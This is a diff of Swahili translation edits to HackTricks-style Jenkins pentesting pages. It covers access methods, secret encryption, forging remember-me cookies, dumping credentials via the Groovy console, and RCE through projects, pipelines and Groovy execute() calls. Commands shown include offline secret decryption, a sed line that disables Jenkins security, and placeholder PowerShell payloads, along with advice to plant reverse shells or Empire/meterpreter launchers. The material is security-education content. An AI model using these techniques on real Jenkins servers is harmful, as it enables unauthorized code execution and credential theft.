Ikiwa umepata **nenosiri muhimu ya kufichua siri**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufichua hizo siri**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,7 +359,7 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Tafsiri siri za Jenkins kutoka Groovy
|
||||
#### Fichua siri za Jenkins kutoka Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
@@ -369,8 +369,8 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
2. Tafuta neno `<useSecurity>true</useSecurity>` na badilisha neno **`true`** kuwa **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** seva ya **Jenkins**: `service jenkins restart`
|
||||
4. Sasa nenda kwenye lango la Jenkins tena na **Jenkins haitakuuliza akidi yoyote** wakati huu. Unapita kwenye "**Manage Jenkins**" kuweka **nenosiri la msimamizi tena**.
|
||||
5. **Enable** **usalama** tena kwa kubadilisha mipangilio kuwa `<useSecurity>true</useSecurity>` na **restart Jenkins tena**.
|
||||
4. Sasa nenda kwenye lango la Jenkins tena na **Jenkins haitakuuliza taarifa zozote za kuingia** wakati huu. Tembelea "**Manage Jenkins**" kuweka **nenosiri la msimamizi tena**.
|
||||
5. **Wezesha** **usalama** tena kwa kubadilisha mipangilio kuwa `<useSecurity>true</useSecurity>` na **restart Jenkins tena**.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# Basic Jenkins Information
|
||||
# Msingi wa Taarifa za Jenkins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Ufikiaji
|
||||
|
||||
### Username + Password
|
||||
### Jina la mtumiaji + Nenosiri
|
||||
|
||||
Njia ya kawaida zaidi ya kuingia kwenye Jenkins ni kwa kutumia jina la mtumiaji au nenosiri.
|
||||
|
||||
### Cookie
|
||||
### Keki
|
||||
|
||||
Ikiwa **cookie iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Cookie hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba cookie ilipatikana).
|
||||
Ikiwa **keki iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Keki hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba keki ilipatikana).
|
||||
|
||||
### SSO/Plugins
|
||||
### SSO/Vyombo vya kazi
|
||||
|
||||
Jenkins inaweza kuundwa kwa kutumia plugins ili iweze **kupatikana kupitia SSO ya upande wa tatu**.
|
||||
Jenkins inaweza kuundwa kwa kutumia vyombo vya kazi ili iweze **kupatikana kupitia SSO ya upande wa tatu**.
|
||||
|
||||
### Tokens
|
||||
|
||||
@@ -24,64 +24,64 @@ Jenkins inaweza kuundwa kwa kutumia plugins ili iweze **kupatikana kupitia SSO y
|
||||
|
||||
Kipengele hiki kinatoa seva ya SSH iliyojengwa ndani kwa Jenkins. Ni kiolesura mbadala kwa [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), na amri zinaweza kutolewa kwa njia hii kwa kutumia mteja yeyote wa SSH. (Kutoka kwenye [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
## **Uidhinishaji**
|
||||
|
||||
Katika `/configureSecurity` inawezekana **kuunda njia ya kuidhinisha ya Jenkins**. Kuna chaguzi kadhaa:
|
||||
Katika `/configureSecurity` inawezekana **kuunda njia ya uidhinishaji ya Jenkins**. Kuna chaguzi kadhaa:
|
||||
|
||||
- **Mtu yeyote anaweza kufanya chochote**: Hata ufikiaji wa kutokuwa na jina unaweza kusimamia seva.
|
||||
- **Hali ya urithi**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**.
|
||||
- **Njia ya zamani**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**.
|
||||
- **Watumiaji walioingia wanaweza kufanya chochote**: Katika hali hii, kila **mtumiaji aliyeingia anapata udhibiti kamili** wa Jenkins. Mtumiaji pekee ambaye hatakuwa na udhibiti kamili ni **mtumiaji asiyejulikana**, ambaye anapata tu **ufikiaji wa kusoma**.
|
||||
- **Usalama wa msingi wa Matrix**: Unaweza kuunda **nani anaweza kufanya nini** katika jedwali. Kila **safu** inawakilisha **idhini**. Kila **mstari** **unawakilisha** **mtumiaji au kundi/nafasi.** Hii inajumuisha mtumiaji maalum '**asiyejulikana**', ambaye anawakilisha **watumiaji wasio na uthibitisho**, pamoja na '**uthibitishwa**', ambaye anawakilisha **watumiaji wote walio na uthibitisho**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Hali hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.**
|
||||
- **Mkakati wa Kazi:** Inaruhusu kuunda idhini kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`.
|
||||
- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Njia hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.**
|
||||
- **Mkakati wa Kazi:** Inaruhusu kuunda uidhinishaji kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
## **Ufalme wa Usalama**
|
||||
|
||||
Katika `/configureSecurity` inawezekana **kuunda eneo la usalama.** Kwa kawaida Jenkins inajumuisha msaada wa maeneo kadhaa tofauti ya Usalama:
|
||||
Katika `/configureSecurity` inawezekana **kuunda ufalme wa usalama.** Kwa kawaida Jenkins inajumuisha msaada wa Ufalme wa Usalama kadhaa tofauti:
|
||||
|
||||
- **Delegates kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Delegati kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Hifadhidata ya mtumiaji ya Jenkins:** Tumia **hifadhidata ya mtumiaji iliyojengwa ndani ya Jenkins** kwa uthibitisho badala ya kuhamasisha kwa mfumo wa nje. Hii imewezeshwa kwa kawaida.
|
||||
- **LDAP**: Hamisha uthibitisho wote kwa seva ya LDAP iliyowekwa, ikiwa ni pamoja na watumiaji na makundi.
|
||||
- **Hifadhidata ya mtumiaji/kundi ya Unix**: **Inahamisha uthibitisho kwa hifadhidata ya mtumiaji ya Unix** kwenye Jenkins controller. Hali hii pia itaruhusu matumizi ya makundi ya Unix kwa idhini.
|
||||
- **Hifadhidata ya mtumiaji/kundi la Unix**: **Huhamisha uthibitisho kwa hifadhidata ya mtumiaji ya kiwango cha Unix** kwenye Jenkins controller. Njia hii pia itaruhusu matumizi ya makundi ya Unix kwa uidhinishaji.
|
||||
|
||||
Plugins zinaweza kutoa maeneo ya usalama ya ziada ambayo yanaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile:
|
||||
Vyombo vya kazi vinaweza kutoa ufalme wa usalama wa ziada ambao unaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
## Nodes, Wakala & Watekelezaji wa Jenkins
|
||||
|
||||
M definitions kutoka kwenye [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nodes** ni **mashine** ambazo **wakala wa kujenga** zinaendesha. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa.
|
||||
**Nodes** ni **mashine** ambazo wakala wa ujenzi **wanakimbia**. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa.
|
||||
|
||||
**Agents** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia waendeshaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya kujenga na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake mwenyewe** kwenye mashine mwenyeji.
|
||||
**Wakala** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia watekelezaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya ujenzi na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake** kwenye mashine mwenyeji.
|
||||
|
||||
**Executor** ni **nafasi ya utekelezaji wa kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya waendeshaji** kwenye node inafafanua idadi ya **kazi zinazoweza kufanyika kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja.
|
||||
**Mtekelezaji** ni **nafasi ya kutekeleza kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya watekelezaji** kwenye node inafafanua idadi ya **kazi zinazoweza kutekelezwa kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja.
|
||||
|
||||
## Jenkins Secrets
|
||||
## Siri za Jenkins
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
### Ulinzi wa Siri na Hati
|
||||
|
||||
M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kuandika na kulinda siri**, akidi, na funguo zao za uandishi. Funguo hizi za uandishi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inafanya kazi kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya uandishi wa funguo" katika cryptojargon) inahifadhiwa \_bila kuandikwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na wabunifu watatumia funguo hizi za uandishi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kuandika data ya siri ya kawaida au kupitia API ya akidi. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuandika block chaining (CBC) na PKCS#5 padding na IV za nasibu kuandika matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na:
|
||||
M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kulinda na kulinda siri**, hati, na funguo zao za ulinzi. Funguo hizi za ulinzi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inakimbia kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya ulinzi wa funguo" katika cryptojargon) inahifadhiwa \_bila kulindwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na waendelezaji watatumia funguo hizi za ulinzi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kulinda data ya siri ya kawaida au kupitia API ya hati. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuzuia block (CBC) na padding ya PKCS#5 na IV za nasibu kulinda matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na:
|
||||
|
||||
- `hudson.util.Secret`: inatumika kwa siri za kawaida;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za akidi;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanism ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za hati;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanismu ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na
|
||||
|
||||
### Credentials Access
|
||||
### Ufikiaji wa Hati
|
||||
|
||||
Akidi zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job/<project-name>/configure`) na hivyo kufikiwa tu kutoka mradi maalum.
|
||||
Hati zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job/<project-name>/configure`) na hivyo kuwa na ufikiaji kutoka mradi maalum tu.
|
||||
|
||||
Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akidi ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati mbaya katika kumbukumbu ya kujenga**, akidi zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya kujenga** kwa watumiaji ambao vinginevyo hawangeweza kupata akidi hizo.
|
||||
Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Hati ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati mbaya katika kumbukumbu ya ujenzi**, hati zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya ujenzi** kwa watumiaji ambao vinginevyo hawangeweza kupata hati hizo.
|
||||
|
||||
**Ndio maana ili kuhamasisha akidi mshambuliaji anahitaji, kwa mfano, kuziweka kwenye base64.**
|
||||
**Ndio maana ili kuhamasisha hati, mshambuliaji anahitaji, kwa mfano, kuzifanya kuwa base64.**
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
@@ -16,32 +16,32 @@ Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki i
|
||||
|
||||
#### Hatua ya 1: Kukusanya Data
|
||||
|
||||
**Ukurasa wa Taarifa za Mtumiaji**
|
||||
**Kurejesha Taarifa za Mtumiaji**
|
||||
|
||||
- Fikia usanidi wa mtumiaji na siri kutoka `$JENKINS_HOME/users/*.xml` kwa kila mtumiaji ili kukusanya:
|
||||
- **Jina la Mtumiaji**
|
||||
- **Mbegu ya Mtumiaji**
|
||||
- **Muda**
|
||||
- **Wakati**
|
||||
- **Hash ya Nywila**
|
||||
|
||||
**Uondoaji wa Funguo za Siri**
|
||||
|
||||
- Ondoa funguo za kificho zinazotumika kwa ajili ya kusaini kuki:
|
||||
- Ondoa funguo za kificho zinazotumika kusaini kuki:
|
||||
- **Funguo ya Siri:** `$JENKINS_HOME/secret.key`
|
||||
- **Funguo Kuu:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **Faili ya Funguo ya MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Hatua ya 2: Uundaji wa Kuki
|
||||
|
||||
**Maandalizi ya Tokeni**
|
||||
**Maandalizi ya Token**
|
||||
|
||||
- **Hesabu Muda wa Kuisha wa Tokeni:**
|
||||
- **Hesabu Wakati wa Kuisha wa Token:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ongeza saa moja kwa wakati wa sasa
|
||||
```
|
||||
|
||||
- **Unganisha Data kwa Tokeni:**
|
||||
- **Unganisha Data kwa Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
@@ -49,22 +49,22 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
|
||||
**Ufunguo wa MAC**
|
||||
|
||||
- **Fungua Faili ya Funguo ya MAC:**
|
||||
- **Fungua Faili ya MAC:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo AES128
|
||||
key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo za AES128
|
||||
decrypted = AES.decrypt(macFile, key) // Fungua faili ya .mac
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Hesabu Saini**
|
||||
**Hesabu ya Sahihi**
|
||||
|
||||
- **Hesabu HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia tokeni na funguo ya MAC
|
||||
mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia token na funguo ya MAC
|
||||
tokenSignature = bytesToHexString(mac) // Badilisha MAC kuwa mfuatano wa hexadecimal
|
||||
```
|
||||
|
||||
@@ -82,7 +82,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
|
||||
**Uthibitishaji wa Kikao**
|
||||
|
||||
- **Pata CSRF na Tokeni za Kikao:**
|
||||
- **Pata CSRF na Token za Kikao:**
|
||||
- Fanya ombi kwa `/crumbIssuer/api/json` ili kupata `Jenkins-Crumb`.
|
||||
- Kamata `JSESSIONID` kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me.
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba hizi skripti zitaorodhesha tu siri ndani ya faili `credentials.xml`, lakini **faili za usanidi wa ujenzi** zinaweza pia kuwa na **siri zaidi**.
|
||||
> Kumbuka kwamba hizi scripts zitaorodhesha tu siri ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**.
|
||||
|
||||
Unaweza **kutoa siri zote kutoka kwenye Groovy Script console** katika `/script` ukikimbia hii code
|
||||
```java
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
# Jenkins RCE Kuunda/Kubadilisha Pipeline
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kuunda Pipeline Mpya
|
||||
|
||||
Katika "Kitu Kipya" (inapatikana katika `/view/all/newJob`) chagua **Pipeline:**
|
||||
Katika "Kitu Kipya" (kinachopatikana katika `/view/all/newJob`) chagua **Pipeline:**
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -32,6 +32,6 @@ Hatimaye bonyeza **Save**, na **Build Now** na pipeline itatekelezwa:
|
||||
|
||||
## Kubadilisha Pipeline
|
||||
|
||||
Ikiwa unaweza kufikia faili ya usanidi ya pipeline fulani iliyowekwa unaweza tu **kuibadilisha kwa kuongeza shell yako ya nyuma** na kisha kuitekeleza au kusubiri hadi itekelezwe.
|
||||
Ikiwa unaweza kufikia faili ya usanidi wa pipeline fulani iliyowekwa unaweza tu **kuibadilisha kwa kuongeza shell yako ya kurudi** na kisha kuitekeleza au kusubiri hadi itekelezwe.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,36 +1,36 @@
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
# Jenkins RCE Kuunda/Kubadilisha Mradi
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a Project
|
||||
## Kuunda Mradi
|
||||
|
||||
Hii mbinu ni kelele sana kwa sababu unahitaji kuunda mradi mpya kabisa (dhahiri hii itafanya kazi tu ikiwa mtumiaji wako anaruhusiwa kuunda mradi mpya).
|
||||
Njia hii ni kelele sana kwa sababu unahitaji kuunda mradi mpya kabisa (dhahiri hii itafanya kazi tu ikiwa mtumiaji wako anaruhusiwa kuunda mradi mpya).
|
||||
|
||||
1. **Unda mradi mpya** (mradi wa Freestyle) kwa kubonyeza "New Item" au katika `/view/all/newJob`
|
||||
1. **Unda mradi mpya** (mradi wa Freestyle) kwa kubofya "New Item" au katika `/view/all/newJob`
|
||||
2. Ndani ya sehemu ya **Build** weka **Execute shell** na ubandike launcher ya powershell Empire au powershell ya meterpreter (inaweza kupatikana kwa kutumia _unicorn_). Anza payload na _PowerShell.exe_ badala ya kutumia _powershell._
|
||||
3. Bonyeza **Build now**
|
||||
3. Bofya **Build now**
|
||||
1. Ikiwa kitufe cha **Build now** hakionekani, bado unaweza kwenda kwenye **configure** --> **Build Triggers** --> `Build periodically` na kuweka cron ya `* * * * *`
|
||||
2. Badala ya kutumia cron, unaweza kutumia config "**Trigger builds remotely**" ambapo unahitaji tu kuweka jina la api token ili kuanzisha kazi. Kisha nenda kwenye wasifu wako wa mtumiaji na **unda API token** (ita jina hili API token kama ulivyoiita api token ili kuanzisha kazi). Hatimaye, anzisha kazi hiyo kwa: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
2. Badala ya kutumia cron, unaweza kutumia usanidi "**Trigger builds remotely**" ambapo unahitaji tu kuweka jina la api token ili kuanzisha kazi. Kisha nenda kwenye wasifu wako wa mtumiaji na **unda API token** (ita jina hili API token kama ulivyoiita api token ili kuanzisha kazi). Hatimaye, anzisha kazi na: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
## Kubadilisha Mradi
|
||||
|
||||
Nenda kwenye miradi na angalia **kama unaweza kuunda** yoyote kati yao (tafuta "Configure button"):
|
||||
Nenda kwenye miradi na angalia **kama unaweza kubadilisha yoyote** kati yao (tafuta "Configure button"):
|
||||
|
||||
.png>)
|
||||
|
||||
Ikiwa huwezi kuona **kitufe cha** **configuration** basi huwezi **kuunda** labda (lakini angalia miradi yote kwani unaweza kuwa na uwezo wa kuunda baadhi yao na si wengine).
|
||||
Ikiwa huwezi kuona **kitufe cha** **configuration** basi huwezi **kuyabadilisha** labda (lakini angalia miradi yote kwani unaweza kuwa na uwezo wa kubadilisha baadhi yao na si wengine).
|
||||
|
||||
Au **jaribu kufikia njia** `/job/<proj-name>/configure` au `/me/my-views/view/all/job/<proj-name>/configure` \_\_ katika kila mradi (mfano: `/job/Project0/configure` au `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
## Utekelezaji
|
||||
|
||||
Ikiwa unaruhusiwa kuunda mradi unaweza **kufanya itekeleze amri wakati ujenzi unafanikiwa**:
|
||||
Ikiwa unaruhusiwa kubadilisha mradi unaweza **kufanya itekeleze amri wakati ujenzi unafanikiwa**:
|
||||
|
||||
.png>)
|
||||
|
||||
Bonyeza **Save** na **ujenge** mradi na **amri yako itatekelezwa**.\
|
||||
Ikiwa hufanyi shell ya kurudi bali amri rahisi unaweza **kuona matokeo ya amri ndani ya matokeo ya ujenzi**.
|
||||
Bofya **Save** na **build** mradi na **amri yako itatekelezwa**.\
|
||||
Ikiwa hutekelezi shell ya kurudi bali amri rahisi unaweza **kuona matokeo ya amri ndani ya matokeo ya ujenzi**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,13 +12,13 @@ Hii ni kimya zaidi kuliko kuunda mradi mpya katika Jenkins
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
Unaweza kutekeleza amri kwa kutumia: `cmd.exe /c dir`
|
||||
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
Katika **linux** unaweza kufanya: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
Ikiwa unahitaji kutumia _quotes_ na _single quotes_ ndani ya maandiko. Unaweza kutumia _"""PAYLOAD"""_ (triple double quotes) kutekeleza payload.
|
||||
|
||||
**Scripti nyingine ya groovy yenye manufaa** ni (replace \[INSERT COMMAND]):
|
||||
**Script nyingine ya groovy yenye manufaa** ni (badilisha \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) inatambuliwa katika sekta ya usimamizi wa utambulisho na ufikiaji kwa ajili ya suluhisho zake za programu za wingu. Suluhisho hizi zimeundwa ili kuboresha na kulinda uthibitishaji wa watumiaji katika programu mbalimbali za kisasa. Zinahudumia si tu kampuni zinazolenga kulinda data zao nyeti bali pia waendelezaji wanaovutiwa na kuunganisha udhibiti wa utambulisho katika programu, huduma za wavuti, na vifaa.
|
||||
[Okta, Inc.](https://www.okta.com/) inatambuliwa katika sekta ya usimamizi wa utambulisho na ufikiaji kwa ajili ya suluhisho zake za programu za msingi wa wingu. Suluhisho hizi zimeundwa ili kuboresha na kulinda uthibitishaji wa watumiaji katika programu mbalimbali za kisasa. Zinahudumia si tu kampuni zinazolenga kulinda data zao nyeti bali pia waendelezaji wanaovutiwa na kuunganisha udhibiti wa utambulisho katika programu, huduma za mtandao, na vifaa.
|
||||
|
||||
Kutoa kuu kutoka Okta ni **Okta Identity Cloud**. Jukwaa hili linajumuisha seti ya bidhaa, ikiwa ni pamoja na lakini sio tu:
|
||||
|
||||
- **Single Sign-On (SSO)**: Inarahisisha ufikiaji wa mtumiaji kwa kuruhusu seti moja ya akisi za kuingia katika programu nyingi.
|
||||
- **Single Sign-On (SSO)**: Inarahisisha ufikiaji wa mtumiaji kwa kuruhusu seti moja ya akauti za kuingia katika programu nyingi.
|
||||
- **Multi-Factor Authentication (MFA)**: Inaboresha usalama kwa kuhitaji aina nyingi za uthibitisho.
|
||||
- **Lifecycle Management**: Inafanya mchakato wa kuunda, kuboresha, na kufuta akaunti za watumiaji kuwa wa kiotomatiki.
|
||||
- **Universal Directory**: Inaruhusu usimamizi wa kati wa watumiaji, vikundi, na vifaa.
|
||||
- **API Access Management**: Inalinda na kusimamia ufikiaji wa APIs.
|
||||
|
||||
